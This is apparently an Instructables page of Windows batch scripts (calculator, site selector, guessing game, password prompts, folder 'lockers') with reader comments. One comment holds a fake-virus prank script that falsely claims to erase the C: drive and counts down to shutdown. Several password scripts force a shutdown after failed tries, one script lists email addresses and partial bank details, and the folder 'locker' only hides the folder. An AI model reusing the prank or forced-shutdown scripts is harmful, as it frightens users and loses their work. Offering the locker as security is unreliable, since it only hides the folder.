I'd like to thank neodudeman for his instructables, they helped a lot.
In this instructable i will show you some pretty nifty applications with batch commands.
If you have any problems or changes to request just send me an e-mail at jbell@live.co.za
Leave any feedback in the comment section below.
Remove these ads by
Signing UpStep 1: Batch Calculator
just copy and paste into NOTEPAD and save as calculator.bat
the filename is not important but the extension MUST be saved as " .bat "
@echo off
title Batch Calculator by seJma
color 1f
:top
echo --------------------------------------------------------------
echo Welcome to Batch Calculator by seJma
echo --------------------------------------------------------------
echo.
set /p sum=
set /a ans=%sum%
echo.
echo = %ans%
echo --------------------------------------------------------------
pause
cls
echo Previous Answer: %ans%
goto top
pause
exit







































Visit Our Store »
Go Pro Today »




OnceOver Maintenance Batch
www.freeOMB.com
cls
@ECHO OFF
title Folder Confidential
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Confidential goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Confidential "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter the Password to unlock folder
set/p "pass=>"
if NOT %pass%== Passwords are hard to crack goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Confidential
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md confidential
echo Confidential created successfully
goto End
:End
Set /a try=0
:begin
set /a try=%try%+1
If %try%==4 GOTO die
Echo Enter your password:
Echo.
Set /p pass="-->"
If %pass%==**PASSWORD** GOTO correct
GOTO begin
:die
Echo Too many incorrect tries
rem (Put some form of punishment here)
:correct
rem Your main code
TREE C:\ > "Tree.txt"
Then you can either find the file and open it or type in:
START Tree.txt
And then you can either find the file and copy it's contents and then delete it manually OR:
DEL Tree.txt
All of that should work
+ Addition
- Subtration
* Multiplication
/ Division
% Modulus (use %% in batch scripts)
>> and & Bitwise operators
() Grouping
! ~ Unary operators
= *= /= %= += -= &= ^= |= <<= >>= assignment
For more information type "SET /?" in your command prompt.
"put message here" is not recognized as an internal or external command or a batch file.
just a little warning for the future
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto
UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the system (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo system locked
goto End
:UNLOCK
echo Enter password
set/p "pass=>"
if NOT %pass%==yourpasswordhere goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo system Unlocked successfully
goto End
:FAIL
echo Invalid password
goto UNLOCK
:MDLOCKER
md Locker
echo system created successfully
goto End
:End
DO NOT USE IT!!
Because you used the term "points" I think you are talking about a game.
That would mean that you must add to a variable if (big hint) a certain condition is met.
So:
IF %win% equ 1 set points=%points%+1
That will make the variable "points" go up by one if the variable win is set to one.
Obviously, I didn't have much to go on, but you can use that as a template if you want.
PLEASE ANSWER!!!
Version one: Just the normal "SET" command, by itself.
When the SET command is by itself, it creates a variable with the value of what you set it as originally.
Example: SET Variable=Value
To call an all ready call an all ready defined variable, enclose it in percent signs.
Example: ECHO %Variable%
This code would return "Value" onto the screen.
Version two:The A switch.
The A parameter in the SET command stands for "Algorithm". When it is added, you can use math in a variable.
Example: SET /A Addition=1+1
This would set "Addition" to the value of 2, rather than "1+1" if the A switch was left out.
You can also use this with variables.
Example:
SET Number1=5
SET Number2=15
SET /A Number3=%Number2% / %Number3%
This code will set Number3 as 3, because 15 divided by 5 is 3.
Version three:The P switch.
When the P switch is added to the SET command, it allows a variable to be user-defined.
Example: SET /P User_Defined_Variable=Prompt String:
This would display "Prompt String", and wait until you enter a value.
There are many other ways to use the SET command, but these are just a few.
Enter the code: "SET /?" in your command prompt for more detailed answers.
What i want to do is to combine the Folder Protector code with the one that hides the folder.. Could someone help me?
I need it so i can hide my games at work haha
Im from Buenos Aires, Argentina
Thanks
Code:
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
The abort code and password is 1335
Abort code is typed all in one go
***************************
@echo off
title Secure Password
:passeword
Echo password required
set /p CH=
if "%CH%"=="1" goto 1perfect
if not "%CH%"=="1" goto wrong1
:wrong1
Echo wrong
ECho 2 attempts remaining
pause
goto passeword1
:1perfect
Echo Next
set /p QP=
if "%QP%"=="3" goto 3perfect
if not "%QP%"=="3" goto wrong1
:3perfect
Echo next
set /p AD=
If "%AD%"=="3" goto 5perfect
if not "%AD%"=="3" goto wrong1
:5perfect
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong1
:passeword1
Echo 2 Attempts remaining
Echo password required
set /p CH=
if "%CH%"=="1" goto 1
if not "%CH%"=="1" goto wrong2
:wrong2
Echo wrong
ECho 1 attempt remaining
Echo Failure to get password
Echo will result in a shutdown
pause
goto passeword2
:1
Echo Next
set /p QP=
if "%QP%"=="3" goto 3
if not "%QP%"=="3" goto wrong2
:3
Echo next
set /p AD=
If "%AD%"=="3" goto 5
if not "%AD%"=="3" goto wrong2
:5
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong2
:passeword2
Echo password required
set /p CH=
if "%CH%"=="1" goto 1final
if not "%CH%"=="1" goto wrong3
:wrong3
Echo You have failed to guess the password
ECho You now have 30 seconds to enter the abort code
Echo It is the same as the password
shutdown /s /t 30
Echo **********
set /p SD=
if "%SD%"=="1335" goto abort
if not "%SD%"=="1335" goto end
pause
goto passeword2
:1final
Echo Next
set /p QP=
if "%QP%"=="3" goto 3final
if not "%QP%"=="3" goto wrong3
:3final
Echo next
set /p AD=
If "%AD%"=="3" goto 5final
if not "%AD%"=="3" goto wrong3
:5final
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong3
:complete
Echo You made it this far
Echo 1335
Echo Now enter a directory and its ready
Echo made by angusPROD
pause
exit
:abort
shutdown /a
Echo Shutdown aborted
goto passeword2
:end
Echo Goodbye
pause
Exit
:R
@echo off
color 0e
title Guessing Game by seJma
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:bottom
echo.
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable1% ECHO Found the backdoor hey?, the answer is: %answer%
goto bottom
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
goto R
I typed 9999 and it said lower I typed 9999 again but then it said higher. Is there a way to make it that the numbers don't change until I get it? Can you please email me at jfingerer@ymail.com
cls
:Password
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==123 goto NO
:YES
Start C:\
Exit
:NO
echo INCORRECT PASSWORD
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==123 goto NO1
:NO1
Echo INCORRECT PASSWORD
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==23 goto NO2
:NO2
Echo INCORRECT PASSWORD
Pause
Echo Acces danied
Pause
Exit
\in batch files, it wipes the screen completely clean
And of course it popped into to my mind (Half way through the first para.) that i can set the ***ENTER FOLDER PATH HERE*** in the file protector to my site selector batch. posting this anyway.
And I hate attracting attention to myself by writing abnormally long comments but kudos to your first (i think) Instructable! good job.
title Password v1.5
color 0a
set /a tries=3
set password=***ENTER YOUR PASSWORD HERE***
:top
echo.
echo ----------------------------------------------
echo.
echo Password
echo.
echo ----------------------------------------------
echo You have %tries% attempts left.
echo Enter password
echo ----------------------------------------------
set /p pass=
if %pass%==%password% (
goto correct
)
set /a tries=%tries -1
if %tries%==0 (
goto penalty
)
cls
goto top
:penalty
echo Sorry, too many incorrect passwords, initiating shutdown.
start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED"
pause
exit
:correct
cls
echo ----------------------------------------------
echo Password Accepted!
echo.
echo Opening Program...
echo ----------------------------------------------
pause
cls
title Site Selector by seJma
:top
echo ***************************************************************
echo.
echo Site Selector
echo.
echo ***************************************************************
echo.
echo Key: [1] Google - Search Engine
echo [2] Hotmail - Mail Server
echo [3] Yahoo - Search Engine/Mail Server
echo [4] Facebook - Social Networking
echo [5] Myspace - Social Networking
echo [6] CNN - News
echo [7] Weather - Weather
echo [8] WikiHow - A How-To Website
echo [9] Instructables - A How-To Website
echo [10] YouTube - Online Videos
echo [11] Answers - Online Encyclopedia
echo [12] Wikipedia - Online Encyclopedia
echo.
echo [e] Exit
echo.
echo ***************************************************************
echo Enter the number of the website which you would like to go to:
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==1 start www.google.com
if %udefine%==2 start www.hotmail.com
if %udefine%==3 start www.yahoo.com
if %udefine%==4 start www.facebook.com
if %udefine%==5 start www.myspace.com
if %udefine%==6 start www.cnn.com
if %udefine%==7 start www.weather.com
if %udefine%==7 start www.wikihow.com
if %udefine%==9 start www.instructables.com
if %udefine%==10 start www.youtube.com
if %udefine%==11 start www.answers.com
if %udefine%==12 start www.wikipedia.com
if %udefine%==e goto exit
cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by seJma
echo.
echo ***************************************************************
echo Type [e] to exit or [b] to go back and select another site.
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==b goto top
if %udefine%==e goto exit
:exit
cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by SEjMA
echo.
echo ***************************************************************
pause
exit
***********************************
set /p pass=
if %pass%==YOUR_PASS_HERE (
goto top
) else (
exit
)
***********************************
hope this helps!
do some homework, this is my program, I collaborated with TAT.
-------------------------------------------------------------------------
@echo off
SetLocal EnableDelayedExpansion
color 0C
title VIRUS DETECTED!!
if "%1" == "xxx" (goto :shutdownstart) else (echo.)
:: Below is 3 symbols for the internal alarm. If you don't see them, go to command prompt and type:
:: cd %homepath%\Desktop
:: echo CTRL+G (key combo)>>alarmcharacter.bat
:: Edit that batch file, it will have the character.
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo FIREWALL -
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
ping 1.0.0.0 -n 1 -w 300 >NUL
echo ANTI-VIRUS -
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo IP ADDRESS BREACHED!
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo VIRUS ATTAINING:
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
echo IP ADDRESS BREACHED!
echo -
echo VIRUS ATTAINING: ****-****-****-8894
echo -
ping 1.0.0.0 -n 1 -w 2500 >NUL
cls
echo -
echo SCANNING INFECTED AREAS...
echo -
ping 1.0.0.0 -n 1 -w 800 >NUL
set /a num=0
:repeat1
set /a num=%num% +1
echo %num%
if %num%==87 goto end
goto repeat1
:end
cls
echo -
echo 86.5 PERCENT OF MEMORY INFECTED
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo INFECTION PROGRESSING. . .
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -
echo DELETION OF ENTIRE CONTENTS OF LOCAL DISK C: PART OF MAIN ROUTINE
echo -
ping 1.0.0.0 -n 1 -w 1800 >NUL
echo %cd%>currentdir
Set n=
Set _InputFile=currentdir
For /F "tokens=*" %%I In (%_InputFile%) Do (
Set /a n+=1
Set _var!n!=%%I
)
del currentdir
cls
echo -
echo DELETING HARD-DRIVE C:
echo -
ping 1.0.0.0 -n 1 -w 700 >NUL
cd %homepath%
cd Desktop
dir /b /s
cd %_var1%
ping 1.0.0.0 -n 1 -w 1500 >NUL
cls
echo -
echo CONTENTS OF HARD-DRIVE C: ERASED
echo -
ping 1.0.0.0 -n 1 -w 1500 >NUL
cls
echo -
echo SCANNING...
echo -
set /a num1=0
:repeat2
set /a num1=%num1% +1
echo %num1%
if %num1%==100 goto end1
goto repeat2
:end1
cls
echo -
echo 0.00 PERCENT OF HARD-DRIVE INFECTED
echo -
ping 1.0.0.0 -n 1 -w 1200 >NUL
echo EXITING VIRUS REMOVAL. . .
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -
set /A errorrepeat=0
:errorrepeat
set /A errorrepeat=%errorrepeat%+1
echo ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR
if "%errorrepeat%" == "400" (goto :errorrepeatend) else (goto :errorrepeat)
:errorrepeatend
cls
title FATIL AIR!!
echo ERROR!
ping 1.0.0.0 -n 1 -w 500 >NUL
echo -
echo VISUAL MEMORY LOST!
ping 1.0.0.0 -n 1 -w 1200 >NUL
echo -
echo RAM SEGMENT OVERFLOW ERROR!
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -
echo PROCESSOR FAILING...
echo -
ping 1.0.0.0 -n 1 -w 3500 >NUL
:shutdownstart
echo MsgBox "You have 25 seconds to save any work you have open!!! Hurry, your computer is shutting down promptly!!!">usermessage1.vbs
echo MsgBox "Hurry, your computer is shutting down promptly!!!">usermessage2.vbs
cls
echo YOU HAVE 25 SECONDS TO SAVE ANY WORK YOU HAVE OPEN!!!
echo HURRY AND SAVE, YOUR COMPUTER IS SHUTTING DOWN PROMPTLY!!!
start usermessage1.vbs
ping 1.0.0.0 -n 1 -w 3500 >NUL
start usermessage2.vbs
ping 1.0.0.0 -n 1 -w 3500 >NUL
del usermessage1.vbs
del usermessage2.vbs
cls
echo 18 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 17 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 16 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 15 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 14 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 13 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 12 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 11 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 10 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 9 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 8 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 7 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 6 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 5 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 4 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 3 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 2 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 1 SECOND REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo SHUTTING DOWN. . .
EndLocal
pause
--------------------------------------------------------------------------
You might want to make sure no one else is around, this sets off the internal alarm in XP and maybe Vista, sets off speaker alarm in Windows 7. If you dont see the alarm characters (before the 3 Viral Infections!!! and elsewhere) follow the instructions I gave, it should look like:
C:\Users\[USERNAME]\Music>cd %homepath%\Desktop
C:\Users\[USERNAME]\Desktop>echo ^G>>alarmcharacter.bat
in command prompt in Vista and 7 and C:\Documents and Settings\... in XP.
I was debugging, if you start this from command prompt with the parameter xxx, it will go to the shutdown routine. I did not actually include code to shut it down yet. Als, the dir command is set to list the desktop, because if you're like me that will take long enough. Otherwise the user will be tempted to just close it.
Hope you like it,
Ryan
@echo off
:Passord
cls
color 01
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 02
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?.. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 03
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?...\\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 04
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo 3 forsøk
pause >nul
set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Feil
:Feil
cls
echo Incorrect Password!
ping localhost -n 2 >nul
cls
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo 2 forsøk
pause >nul
set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Fail
:Fail
echo Incorrect Password!
ping localhost -n 2 >nul
cls
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Last Try
pause >nul
set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Fuil
:Fuil
goto :Shutdown
:Riktig
cls
echo Correct Password!
ping localhost -n 2 >nul
goto :Start
:Start
cls
color 7
echo ________ _________
echo "| \====================================\ |"
echo "| Main / VL's Menu / Main |"
echo "| Menu \ _________________________ \ Menu |"
echo "| / by Vegard /Pwned menu / |"
echo "|========\====================================\========|"
echo "| VL. / Menu|> Video <|Menu / .VL |"
echo "| VL. \ Menu|> Games <|Menu \ .VL |"
echo "| VL. / Menu|> Soundlist <|Menu / .VL |"
echo "| VL. \ Menu|> Program <|Menu \ .VL |"
echo "| VL. / Menu|> Anti virus<|Menu / .VL |"
echo "| VL. \ Menu|>Secure<|Menu \ .VL |"
echo "| VL. / Menu|>Websites<|Menu / .VL |"
echo "| VL. \ Menu|>Speed up pc<|Menu \ .VL |"
echo "| VL. / Menu|>shutdown<|Menu / .VL |"
echo "|========\====================================\========|"
echo "| VL. / < Refresh > / .VL |"
echo "| VL. \ < Next > \ .VL |"
echo "| VL. / < Song Kesha blow > / .VL |"
echo "|________\====================================\________|"
echo " " Restart " "
echo " " Keyword " "
echo -----------
set /p hey=
if %hey% == video goto :Video
if %hey% == Shutdown goto :Shutdown
if %hey% == games goto :games
if %hey% == sound goto :oound
if %hey% == secure goto :secure
if %hey% == program goto :PRO1
if %hey% == web goto :web
if %hey% == Restart goto :Restart
if %hey% == keyword goto :l
if %hey% == anti goto :1234
:Start
start Menu.bat
exit
:1234
start Anti.lnk
goto :Start
:l
start keywords.bat
pause >nul
:web
start web.bat
goto :Start
:PRO1
Start Program.bat
goto :Start
:secure
start Sikkerhetskopieringavvegard.bat
goto :Start
:oound
start soundlist.bat
goto :Start
:Video
start Video.bat
goto :Start
:Shutdown
shutdown -S -T 6 -C "5 seconds until shutdown"
ping localhost -n 2 >nul
echo 4
ping localhost -n 3 >nul
echo 3
ping localhost -n 2 >nul
echo 2
ping localhost -n 2 >nul
echo 1
ping localhost -n 1 >nul
echo Bye :D
pause>nul
:games
echo so u wann kick ass >(
echo :=
start games.bat
goto :Start
shutdown -s -t 30 -c "This is a shutdown Batch File. When it says -s -t 30, that 30 is the number of seconds."
set key=radicalhacker
set key=pass
set key=pass
title ::
color 0a
echo Welcome to Radical Hacker's Research Laboratory Data-Base.
echo.
echo.
echo The acces of these files is restrictet to: (1) user's.
echo If you have no autorization please close this windows inmediatly.
echo.
echo.
echo WARNING! DO NOT try to crack this files.
echo Any intent of cracking this files will delete them.
echo.
echo.
echo.
echo Please enter username.
set/p "pass= >"
echo.
echo Please enter first part of ID-CODE.
set/p "pass= >"
echo.
echo Please enter secund part of ID-CODE.
set/p "pass= >"
if %pass%==%key% goto UnPack
cls
color 0c
echo.
echo ACCES DENIED!
echo.
pause
exit
:UnPack
set dest=N:\RDH-Lab.rar
cls
echo Welcome back "SyncMaster1990" Nice to see you!:D
echo.
echo Your data will unpacked and sent to the specified file.
echo.
echo Please make sure this file does not already exist befor continuing
echo as this may ruin your data.
echo.
pause
cls
echo ________________________>>%dest%
echo Yahoo ID's and Passwords>>%dest%
echo ________________________>>%dest%
echo.
echo Username: syncmaster1990@yahoo.com Password: >>%dest%
echo Username: rdsrcslink@yahoo.com Password: >>%dest%
echo Username: upctimisoara@yahoo.com Password: >>%dest%
echo Username: upc.romania@ymail.com Password: >>%dest%
echo Username: tony_alejandro_montana@yahoo.com Password: >>%dest%
echo Username: grovehood@yahoo.com Password: >>%dest%
echo Username: hackallnight_contact@yahoo.com Password: >>%dest%
echo.
echo.
echo ________________________>>%dest%
echo Webs's and Forums>>%dest%
echo ________________________>>%dest%
echo.
echo Site: http://webs.com Username: hackallnight Password: >>%dest%
echo Site: http://triburile.ro Username: jedinight90 Password: >>%dest%
echo Site: http://triburile.ro Username: arragon91 Password: >>%dest%
echo Site: http://triburile.ro Username: pufuleatza Password: >>%dest%
echo Site: http://instructables.com Username: radicalhacker Password: >>%dest%
echo Site: http://filelist.ro Username: syncmaster1990 Password: >>%dest%
echo Site: http://theforce.ro Username: freelancer a/101 Password: >>%dest%
echo Site: http://hackallnight.forum-log.com Username: admin Password: >>%dest%
echo Site: http://meebo.com Username: radicalhacker Password: >>%dest%
echo Site: http://no-ip.com Username: syncmaster1990 Password: >>%dest%
echo.
echo.
echo.
echo ________________________>>%dest%
Bank Account>>%dest%
________________________>>%dest%
echo Username: 62820573>>%dest%
echo Password: Use Device -->>%dest%
echo Account Number: RO*4*7*RNCB*0*7*1*0*1>>%dest%
echo Atached Account: 2511.A01>>%dest%
echo Extraction complete!
echo.
echo Your data can be found here: Restricted Information
echo.
pause
exit
A nice selection of cool batch applications.
I have edited them a little and they are looking brilliant, thanks for the brill instructable!
http://www.youtube.com/watch?v=BtEcezAA-gw
just be careful when you use it i recommend doing it on a new folder until you can get it right every time
-s shuts down, -l logs out, -r reboots, etc
.bat to .exe converter
e.g password.secretfile
@echo off
title batch calculator v 2.0
color 0e
:top
echo --------------------------------------------------------------
echo welcome to the batch calculator v 2.0
echo type your math problem bellow
echo --------------------------------------------------------------
set /p equation=
set /a ans= %equation%
cls
echo %ans%
pause > Nul
cls
echo last answer %ans%
goto top
exit
when i do this command : "net stop themes >nul" its says:
"System error 5 has occurred.
Access is denied."
when i put this in : "net stop themes >nul"
it says:
"The syntax of this command is:
NET
[ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | PAUSE | PRINT | SESSION | SHARE | START |
STATISTICS | STOP | TIME | USE | USER | VIEW ]"
can you help me?
http://masterjake.x10hosting.com/forum/viewtopic.php?f=40&t=291
I've got:
If start *something* goto m
If open *something* goto m
:m
echo hi
pause
@echo off
color 0A
title CALCULATOR VERSION 1.2
:loop
cls
echo by BMR
echo _
echo by skylord55816
echo.
echo Calculator Version 1.2
echo -----------------------------------------------
echo * = MULTIPLY
echo + = ADD
echo - = SUBTRACT
echo 2 = SQUARED
echo / = DIVIDE
echo After an equation, type CLEAR to clear the screen of your equations, type KEEP to leave them there, or
type EXIT to leave.
:noclear
set /p UDefine=
set /a UDefine=%UDefine%
echo.
echo =
echo.
echo %UDefine%
echo KEEP, CLEAR, OR EXIT?
set /p clearexitkeep=
if %clearexitkeep%==CLEAR goto loop
if %clearexitkeep%==KEEP echo. && goto noclear
if %clearexitkeep%==EXIT (exit)
:misspell
echo.
echo -----------------------------------------------
echo You misspelled your command. Please try again (make sure you are typing in all caps LIKE THIS).
echo Commands:
echo CLEAR Clear all previous equations and continue calculating.
echo KEEP Keep all previous equations and continue calculating.
echo EXIT Leave your calculating session
echo Enter in a command now.
set /p clearexitkeep=
if %clearexitkeep%==CLEAR goto loop
if %clearexitkeep%==EXIT (exit)
if %clearexitkeep%==KEEP goto noclear
goto misspell
Hope you like it!!!
http://www.youtube.com/watch?v=yq-OXVrKfP8
please comment and subscribe. i have two other batch file vids up right now, but ive made about 5 other games, and one useful app. ill be posting them later, and eventually the code for them
but some advice on your coding, use IF statements
for example on X's turn, they would pick a place on the board (denoted by a number) and that would send them to a bit that looked like this:
IF %place% EQU X goto error
IF %place% EQU O goto error
set place=X
goto player2turn
the first two lines check to see if there is already an X or O there, and if not the third line sets the spot as X. then it directs you to player 2's turn. anyway, hope that helps!
Hi, I looked at the code on you tube.... and it was a much simpler version of the one I did!! I eventualy got one working but it doesnt score yet... it looks like this:
example:
X:O:X
O:X:O
O:O:X
That is just an example of the layout!
As soon as I crack the score I will post it up! It is pretty good, but your score system is fantastic!
I used loads of for /f loops with setlocal enabledelayedexpansion.
But I am going to make my script alot simpler by using your 'place selcetion' by number method. (I currently use set /p row= and set /p colum= which as you can guess makes the game a lot longer and boring!)
Watch this space! - it will take ages so watch this space, but dont hold your breathe! Keep up the good work guys
@echo off
set /a hour=7
set /a minute=10
:LOOPSTART
set /a currentHour=%TIME:~0,2%
set /a currentMinute=%TIME:~3,2%
if %hour% == %currentHour% goto :secondCheck
:nup
PING 1.1.1.1 -n 1 -w 60000 >NUL
goto LOOPSTART
:secondCheck
if %minute% == %currentMinute% goto LOOPEND
goto nup
:LOOPEND
cd C:\Program Files\Real\RealPlayer
start realplay.exe alarm.RMP
@echo off
color 0a
:start
cls
echo ----------------------------------------------------------
echo calculator
echo for a brand new calculator with division. V1.2
echo ----------------------------------------------------------
echo notepad
echo to open notepad.
echo ----------------------------------------------------------
echo site
echo for a site selector that you can program your self. V1.1
echo ----------------------------------------------------------
echo command
echo to open command promt.
echo ----------------------------------------------------------
echo shutdown
echo to shutdown the computer.
echo ----------------------------------------------------------
echo game
echo for a round of guess the number.
echo ----------------------------------------------------------
echo exit
echo to exit.
echo ----------------------------------------------------------
echo enter one of the keywords from above...
set /p pass=
if %pass%==notepad (
goto notepad
)
if %pass%==site (
goto selector
)
if %pass%==calculator (
goto calc
)
if %pass%==command (
goto command
)
if %pass%==shutdown (
goto shutdown
)
if %pass%==game (
goto game
)
if %pass%==exit (
goto exit
)
if %pass%==secret (
goto secret
)
:notepad
cls
echo ----------------------notepad-----------------------------
echo are you sure?
echo.
echo Y or N
set /p conut=
if %conut%==Y (
goto there
)
if %conut%==N (
goto start
)
:there
SET /a num=1
:thing
if %num%==0 goto exit
start notepad.exe
set /a num=%num% -1
goto thing
:selector
echo are you sure?
echo.
echo Y or N
set /p conu=
if %conu%==Y (
goto forward
)
if %conu%==N (
goto start
)
:forward
cls
echo --------------------site-selector--------------------------
echo.
echo welcome to the site selector made by Master Vizz
echo.
echo where do you want to go
echo.
echo KEY:
echo 1 Yahoo - Search Engine/Mail Server
echo 2 Instructables - A How-To Website
